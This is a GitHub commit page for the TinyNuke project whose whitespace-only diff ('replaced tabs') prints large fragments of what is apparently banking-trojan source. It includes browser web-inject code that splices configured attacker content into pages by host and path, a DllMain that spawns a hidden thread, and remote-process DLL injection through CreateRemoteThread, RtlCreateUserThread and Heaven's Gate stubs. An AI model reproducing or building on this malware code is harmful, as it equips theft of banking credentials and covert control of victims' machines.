Skip to content

Commit

Permalink
replaced tabs
Browse files Browse the repository at this point in the history
  • Loading branch information
aainz committed Mar 12, 2017
1 parent 5763ebf commit 5592b98
Show file tree
Hide file tree
Showing 12 changed files with 241 additions and 241 deletions.
28 changes: 14 additions & 14 deletions Api.h
Original file line number Diff line number Diff line change
Expand Up @@ -360,8 +360,8 @@ namespace Types
typedef ULONG (__cdecl *T_strtoul)
(
const char *Str,
char **EndPtr,
int Radix
char **EndPtr,
int Radix
);
typedef INT (__cdecl *T_isxdigit)
(
Expand All @@ -370,7 +370,7 @@ namespace Types
typedef double (__cdecl *T_strtod)
(
const char *Str,
char **EndPtr
char **EndPtr
);
typedef HANDLE (WINAPI *T_CreateToolhelp32Snapshot)
(
Expand Down Expand Up @@ -617,17 +617,17 @@ namespace Types
);
typedef NTSTATUS (WINAPI *T_NtCreateThreadEx)
(
PHANDLE hThread,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
ULONG StackZeroBits,
ULONG SizeOfStackCommit,
ULONG SizeOfStackReserve,
LPVOID lpBytesBuffer
PHANDLE hThread,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
ULONG StackZeroBits,
ULONG SizeOfStackCommit,
ULONG SizeOfStackReserve,
LPVOID lpBytesBuffer
);
typedef BOOL (WINAPI *T_TerminateProcess)
(
Expand Down
8 changes: 4 additions & 4 deletions Bot/BrowserUtils.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -182,17 +182,17 @@ BOOL ReplaceBeforeAfter(char **str2replace, char *strBeforeAfter, char *strRepla
DWORD str2replaceLen = Funcs::pLstrlenA(*str2replace);
DWORD strReplaceBeforeLen = Funcs::pLstrlenA(strReplaceBefore);
DWORD strReplaceAfterLen = Funcs::pLstrlenA(strReplaceAfter);
char *newStr = (char *) Alloc(str2replaceLen + strReplaceBeforeLen + strReplaceAfterLen + 1);
if (!newStr)
return FALSE;
Funcs::pMemset(newStr, 0, str2replaceLen + strReplaceBeforeLen + strReplaceAfterLen + 1);
DWORD offset = startStrBeforeAfter - *str2replace;
Funcs::pMemcpy(newStr, *str2replace, offset);
Funcs::pMemcpy(newStr, *str2replace, offset);

Funcs::pMemcpy(newStr + offset, strReplaceBefore, strReplaceBeforeLen);
offset += strReplaceBeforeLen;
offset += strReplaceBeforeLen;

Funcs::pMemcpy(newStr + offset, startStrBeforeAfter, strBeforeAfterLen);
offset += strBeforeAfterLen;
Expand Down
14 changes: 7 additions & 7 deletions Bot/Main.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -72,15 +72,15 @@ static DWORD WINAPI EntryThread(LPVOID lpParam)

BOOL WINAPI DllMain
(
HINSTANCE hModule,
DWORD dwReason,
LPVOID lpArgs
HINSTANCE hModule,
DWORD dwReason,
LPVOID lpArgs
)
{
switch(dwReason)
{
case DLL_PROCESS_ATTACH:
{
switch(dwReason)
{
case DLL_PROCESS_ATTACH:
{
InitApi();
Funcs::pCreateThread(NULL, 0, EntryThread, NULL, 0, NULL);
break;
Expand Down
74 changes: 37 additions & 37 deletions Bot/WebInjects.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -18,7 +18,7 @@ void LoadWebInjects()
if(json->error != AI_JSON_E_OK)
goto err;
if(json->root.type != AI_JSON_OBJECT)
goto err;
goto err;
loaded = TRUE;
return;
err:
Expand All @@ -30,8 +30,8 @@ void LoadWebInjects()

static AiListNode *GetFirstNode(char *name)
{
AiList *object = ((AiList *) json->root.data.object);
AiJsonValue *currValue = AiJsonGetValueObject(object, name);
AiList *object = ((AiList *) json->root.data.object);
AiJsonValue *currValue = AiJsonGetValueObject(object, name);
if(!currValue)
return NULL;

Expand All @@ -47,8 +47,8 @@ BOOL UrlIsBlacklisted(char *url)
return NULL;

AiListNode *curr = GetFirstNode("fg_blacklist");
while(curr)
{
while(curr)
{
AiJsonValue *blacklistedUrlMask = (AiJsonValue *) curr->data;
if(blacklistedUrlMask->type != AI_JSON_STRING)
goto next;
Expand All @@ -68,23 +68,23 @@ AiList *GetWebInject(char *host, char *path)

AiListNode *curr = GetFirstNode("injects");

while(curr)
{
AiJsonValue *object = (AiJsonValue *) curr->data;
if(object->type != AI_JSON_OBJECT)
goto next;
while(curr)
{
AiJsonValue *object = (AiJsonValue *) curr->data;
if(object->type != AI_JSON_OBJECT)
goto next;

AiJsonValue *url = AiJsonGetValueObject(object->data.object, "host");
if(!url || url->type != AI_JSON_STRING)
goto next;
AiJsonValue *url = AiJsonGetValueObject(object->data.object, "host");
if(!url || url->type != AI_JSON_STRING)
goto next;

AiJsonValue *uri = AiJsonGetValueObject(object->data.object, "path");
if(!uri || uri->type != AI_JSON_STRING)
goto next;
AiJsonValue *uri = AiJsonGetValueObject(object->data.object, "path");
if(!uri || uri->type != AI_JSON_STRING)
goto next;

AiJsonValue *code = AiJsonGetValueObject(object->data.object, "content");
if(!code || code->type != AI_JSON_ARRAY || !code->data.array->len)
goto next;
AiJsonValue *code = AiJsonGetValueObject(object->data.object, "content");
if(!code || code->type != AI_JSON_ARRAY || !code->data.array->len)
goto next;

if((!host || WildCardStrCmp(url->data.string, host, TRUE, TRUE)) &&
(!path || WildCardStrCmp(uri->data.string, path, TRUE, TRUE)))
Expand All @@ -101,24 +101,24 @@ void ReplaceWebInjects(char **buffer, AiList *injects)
{
if(!injects || !buffer)
return;
AiListNode *curr = injects->first;
while(curr)
{
AiJsonValue *object = (AiJsonValue *) curr->data;
if(object->type != AI_JSON_OBJECT)
goto next;

AiJsonValue *replace = AiJsonGetValueObject(object->data.object, "code");
if(!replace || replace->type != AI_JSON_STRING)
goto next;

AiJsonValue *before = AiJsonGetValueObject(object->data.object, "before");
if(!before || before->type != AI_JSON_STRING)
goto next;

AiJsonValue *after = AiJsonGetValueObject(object->data.object, "after");
if(!after || after->type != AI_JSON_STRING)
goto next;
AiListNode *curr = injects->first;
while(curr)
{
AiJsonValue *object = (AiJsonValue *) curr->data;
if(object->type != AI_JSON_OBJECT)
goto next;

AiJsonValue *replace = AiJsonGetValueObject(object->data.object, "code");
if(!replace || replace->type != AI_JSON_STRING)
goto next;

AiJsonValue *before = AiJsonGetValueObject(object->data.object, "before");
if(!before || before->type != AI_JSON_STRING)
goto next;

AiJsonValue *after = AiJsonGetValueObject(object->data.object, "after");
if(!after || after->type != AI_JSON_STRING)
goto next;

ReplaceBeforeAfter(buffer, replace->data.string, before->data.string, after->data.string);
next:
Expand Down
8 changes: 4 additions & 4 deletions HTTP.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -51,7 +51,7 @@ BOOL HttpSubmitRequest(HttpRequestData &httpRequestData)
if(Funcs::pSend(s, (char *) httpRequestData.inputBody, httpRequestData.inputBodySize, 0) <= 0)
goto exit;
}
char header[1024] = { 0 };
int contentLength = -1;
int lastPos = 0;
Expand Down Expand Up @@ -92,7 +92,7 @@ BOOL HttpSubmitRequest(HttpRequestData &httpRequestData)
if(!Funcs::pLstrcmpiA(name, Strs::httpReq7))
{
char *endPtr;
contentLength = Funcs::pStrtol(value, &endPtr, 10);
contentLength = Funcs::pStrtol(value, &endPtr, 10);
if(endPtr == value)
goto exit;
if(value < 0)
Expand Down Expand Up @@ -175,7 +175,7 @@ BOOL HttpSubmitRequest(HttpRequestData &httpRequestData)
if(read <= 0) goto exit;
totalRead += read;
}
while(totalRead != contentLength);
while(totalRead != contentLength);
}
else
{
Expand All @@ -190,7 +190,7 @@ BOOL HttpSubmitRequest(HttpRequestData &httpRequestData)
httpRequestData.outputBody = NULL;
Funcs::pFree(httpRequestData.outputBody);
}
Funcs::pClosesocket(s);
Funcs::pClosesocket(s);
Funcs::pWSACleanup();
return ret;
}
14 changes: 7 additions & 7 deletions HTTP.h
Original file line number Diff line number Diff line change
Expand Up @@ -4,13 +4,13 @@
struct HttpRequestData
{
BOOL post;
int port;
char *host;
char *path;
BYTE *inputBody;
int inputBodySize;
BYTE *outputBody;
int outputBodySize;
int port;
char *host;
char *path;
BYTE *inputBody;
int inputBodySize;
BYTE *outputBody;
int outputBodySize;
};

BOOL HttpSubmitRequest(HttpRequestData &httpRequestData);
36 changes: 18 additions & 18 deletions Inject.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -2,11 +2,11 @@
#if HEAVENS_GATE && !_WIN64
#include "wow64ext\wow64ext.h"
#else
DWORD64 __cdecl X64Call(DWORD64 func, int argC, ...) { return 0; }
DWORD64 __cdecl GetModuleHandle64(wchar_t* lpModuleName) { return 0; }
DWORD64 __cdecl GetProcAddress64(DWORD64 hModule, char* funcName) { return 0; }
DWORD64 __cdecl VirtualAllocEx64(HANDLE hProcess, DWORD64 lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) { return 0; }
BOOL __cdecl WriteProcessMemory64(HANDLE hProcess, DWORD64 lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten) { return 0; }
DWORD64 __cdecl X64Call(DWORD64 func, int argC, ...) { return 0; }
DWORD64 __cdecl GetModuleHandle64(wchar_t* lpModuleName) { return 0; }
DWORD64 __cdecl GetProcAddress64(DWORD64 hModule, char* funcName) { return 0; }
DWORD64 __cdecl VirtualAllocEx64(HANDLE hProcess, DWORD64 lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) { return 0; }
BOOL __cdecl WriteProcessMemory64(HANDLE hProcess, DWORD64 lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten) { return 0; }
#endif

struct InjectData32
Expand Down Expand Up @@ -183,20 +183,20 @@ BOOL InjectDll(BYTE *dllBuffer, HANDLE hProcess, BOOL x64)
return FALSE;

OSVERSIONINFOEXA osVersion = { 0 };
osVersion.dwOSVersionInfoSize = sizeof(osVersion);
Funcs::pGetVersionExA((LPOSVERSIONINFOA) &osVersion);
osVersion.dwOSVersionInfoSize = sizeof(osVersion);
Funcs::pGetVersionExA((LPOSVERSIONINFOA) &osVersion);
if(osVersion.dwMajorVersion <= 5)
{
if(!Funcs::pCreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE) ((BYTE *) payloadRemoteAddress + sizeof(InjectData32)), (PVOID) payloadRemoteAddress, 0, NULL))
return FALSE;
}
else
{
HANDLE hThread;
CLIENT_ID clientId;
if(Funcs::pRtlCreateUserThread(hProcess, NULL, FALSE, 0, 0, 0, ((BYTE *) payloadRemoteAddress + sizeof(InjectData32)), (PVOID) payloadRemoteAddress, &hThread, &clientId))
return FALSE;
}
{
if(!Funcs::pCreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE) ((BYTE *) payloadRemoteAddress + sizeof(InjectData32)), (PVOID) payloadRemoteAddress, 0, NULL))
return FALSE;
}
else
{
HANDLE hThread;
CLIENT_ID clientId;
if(Funcs::pRtlCreateUserThread(hProcess, NULL, FALSE, 0, 0, 0, ((BYTE *) payloadRemoteAddress + sizeof(InjectData32)), (PVOID) payloadRemoteAddress, &hThread, &clientId))
return FALSE;
}
}
#endif
return TRUE;
Expand Down
Binary file modified TinyNuke.sdf
Binary file not shown.
Binary file modified TinyNuke.v11.suo
Binary file not shown.
Loading

0 comments on commit 5592b98

Please sign in to comment.